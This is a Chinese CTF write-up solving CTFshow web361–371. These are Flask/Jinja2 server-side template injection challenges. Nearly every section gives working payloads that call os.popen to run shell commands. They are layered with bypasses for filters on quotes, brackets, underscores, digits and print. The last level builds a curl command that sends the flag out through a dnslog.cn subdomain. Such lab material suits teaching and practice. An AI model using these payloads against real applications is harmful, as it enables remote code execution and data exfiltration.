CTFshow-web361~371

Posted on Edited on In

CTFshow-web361~371

web361

知识点：ssti

基本的常用语句有

1
2
3
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
{{url_for.__globals__.os.popen('whoami').read()}}
{{lipsum.__globals__.os.popen('cat flag').read()}}

通过内置的函数来获取shell

注入点为GET提交的name参数，及payload为：

1
?name={{config.__class__.__init__.__globals__['os'].popen('cat /*').read()}}

web362

知识点：ssti

这个题也可以通过第一题的方法来获取flag

1
?name={{config.__class__.__init__.__globals__['os'].popen('cat /*').read()}}

web363

知识点：引号过滤以及POST提交过滤

过滤引号可以通过request请求来进行绕过

常见的几种形式和用法：

1
2
3
4
5
6
7
{{request.args.ben}} #可以用来获取get请求传参，参数为ben
{{request.form.ben}}  #可以来获取poet请求传参ben（Content-Type:application/x-www-from-urlencoded或multipart/from-data）
{{request.cookie.ben}} #可以来获取cookie中关键词为ben的参数
{{request.values.x1}} #获取所有参数
{{request.headers}}  #获得请求头请求参数
{{request.data}}  #post传入参数(Content-Type:a/b)
{{request.json}}  #获得post传入json参数(Content-Type:application/json)

当然我个人认为request.values.x1最好用，可以获取全局参数

将过滤的部分直接通过替换即可

1
{{config.__class__.__init__.__globals__[request.args.ben].popen(request.args.ben1).read()}}&ben=os&ben1=cat /*

web364

知识点：引号过滤，args过滤，post提交过滤

这个题可能是想通过cookie来实现，但是麻烦，还是通过request.values.x1好点，因为简单

payload为：

1
?name={{url_for.__globals__.os.popen(request.values.q).read()}}&q=cat /*

web365

知识点：中括号过滤，引号过滤，args过滤，post提交过滤

绕过[]的方法，可以通过getitem()魔术方法来实现，用法也简单，可以直接平替

例如：

subclasses()[117] —> subclasses().getitem(117)

尽量选用简单的语句，就是少中括号的来实现

1
2
{{config.__class__.__init__.__globals__.__getitem__(request.values.q).popen(request.values.a).read()}}&a=cat /*&q=os
{{url_for.__globals__.os.popen(request.values.q).read()}}&q=cat /*

web366

知识点：下划线绕过，中括号过滤，引号过滤，args过滤，post提交过滤

下划线绕过可以通过管道符和attr和request请求来进行绕过

如：

lipsum.globals—>lipsum|attr(request.values.globals)

所以就可以构造payload为：

1
{{(lipsum|attr(request.values.q)).os.popen(request.values.q2).read()}}&q=__globals__&q2=cat /*

web367

知识点：os关键词过滤，下划线绕过，中括号过滤，引号过滤，args过滤，post提交过滤

这里有些不同

1
2
3
{{lipsum.__globals.os}}
{{lipsum|attr(request.values.q)|attr(request.values.o)}}&q=__globals__&o=os  //这个不会执行
{{(lipsum|attr(request.values.q)).get(request.values.o)}}&q=__globals__&o=os  //这个会执行

所以需要留意一下

所以payload为：(二选一即可)

1
2
{{(lipsum|attr(request.values.q)).get(request.values.o).popen(request.values.q2).read()}}&q=__globals__&q2=cat /*&o=os
{{(config|attr(request.values.class)|attr(request.values.init)|attr(request.values.globals)|attr(request.values.getitem)(request.values.o)).popen(request.values.rce).read()}}&class=__class__&init=__init__&globals=__globals__&getitem=__getitem__&o=os&rce=cat /*

web368

知识点：双括号过滤，os关键词过滤，下划线绕过，中括号过滤，引号过滤，args过滤，post提交过滤

绕过双括号，可以通过{%print()%}即可

payload为:

1
{%print (lipsum|attr(request.values.q)).get(request.values.o).popen(request.values.q2).read()%}&q=__globals__&q2=cat /*&o=os

web369

知识点：request过滤，双括号过滤，os关键词过滤，下划线绕过，中括号过滤，引号过滤，args过滤，post提交过滤

无法通过提交参数来进行绕过，需要通过join来进行拼接字符

获取字符的方法，通过config|string|list 和 lipsum|string|list来获得

具体的构造的payload： （注意将注释的删除）

1
2
3
4
5
6
7
8
9
10
11
12
13
{%set e=(config|string|list).pop(279)%} //  /
//{%set a=(config|string|list).pop(191)%} //  '
{%set c=(lipsum|string|list).pop(18)%}  // _
{%set kg=(lipsum|string|list).pop(9)%}  // 空格
//{% set qwe=dict(l=0,s=1)|join%}  //ls
{%set globals=(c,c,dict(globals=1)|join,c,c)|join %}  //__globals__
{%set s=dict(o=0,s=1)|join%}   //os
{%set geti=(c,c,dict(getitem=1)|join,c,c)|join %}  //__getiyem__
//{% set popen=dict(popen=1)|join%}  //popen
//{% set read=dict(read=1)|join%}  //read
{% set flag=(((dict(tac=1)|join,kg)|join,e)|join,dict(flag=1)|join)|join %}
//{%print lipsum|attr(globals)|attr(geti)(s)|attr(popen)(flag)|attr(read)() %}
{%print (lipsum|attr(globals)|attr(geti)(s)).popen(flag).read() %}

web370

知识点：数字过滤，request过滤，双括号过滤，os关键词过滤，下划线绕过，中括号过滤，引号过滤，args过滤，post提交过滤

获取数字可以通过count来实现，如nine=dict(aaaaaaaaa=a)|join|count

再将数字替代即可

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{%set nine=dict(aaaaaaaaa=a)|join|count%}
{% set ste=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set ten=ste*nine %}
{% set r=dict(aa=a)|join|count*nine%}
{%set e=(config|string|list).pop(ten)%}
{%set c=(lipsum|string|list).pop(r)%}
{%set kg=(lipsum|string|list).pop(nine)%}
{% set qwe=dict(l=a,s=b)|join%}
{%set globals=(c,c,dict(globals=a)|join,c,c)|join %}
{%set s=dict(o=a,s=b)|join%}
{%set geti=(c,c,dict(getitem=a)|join,c,c)|join %}
{% set popen=dict(popen=a)|join%}
{% set read=dict(read=a)|join%}
{% set flag=(((dict(tac=a)|join,kg)|join,e)|join,dict(flag=a)|join)|join %}
{%print lipsum|attr(globals)|attr(geti)(s)|attr(popen)(flag)|attr(read)() %}

371

知识点：过滤print，数字过滤，request过滤，双括号过滤，os关键词过滤，下划线绕过，中括号过滤，引号过滤，args过滤，post提交过滤

绕过print需要通过dnslog带出

URL

http://www.dnslog.cn/

在该网站来申请免费的dnslog

再通过 执行curl cat /flag.7ytmqy.dnslog.cn

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{%set nine=dict(aaaaaaaaa=a)|join|count%}
{%set ba=dict(aaaaaaaa=a)|join|count%}
{% set ste=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set n=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set aaa=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set ten=ste*nine %}
{% set r=dict(aa=a)|join|count*nine%}
{%set q=(config|string|list).pop(aaa)%}
{%set e=(config|string|list).pop(ten)%}
{%set c=(lipsum|string|list).pop(r)%}
{%set kg=(lipsum|string|list).pop(nine)%}
{%set globals=(c,c,dict(globals=a)|join,c,c)|join %}
{%set s=dict(o=a,s=b)|join%}
{%set geti=(c,c,dict(getitem=a)|join,c,c)|join %}
{% set popen=dict(popen=a)|join%}
{% set read=dict(read=a)|join%}
{%set p=((lipsum|attr(globals))|string|list).pop(n)%}
{%set fla=(dict(curl=a)|join,kg,p,dict(cat=a)|join,kg,e,dict(flag=a)|join,p,q,dict(cfiyve=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}
{%if ((lipsum|attr(globals))|attr(geti)(s)).popen(fla)%}ataoyyds{%endif%}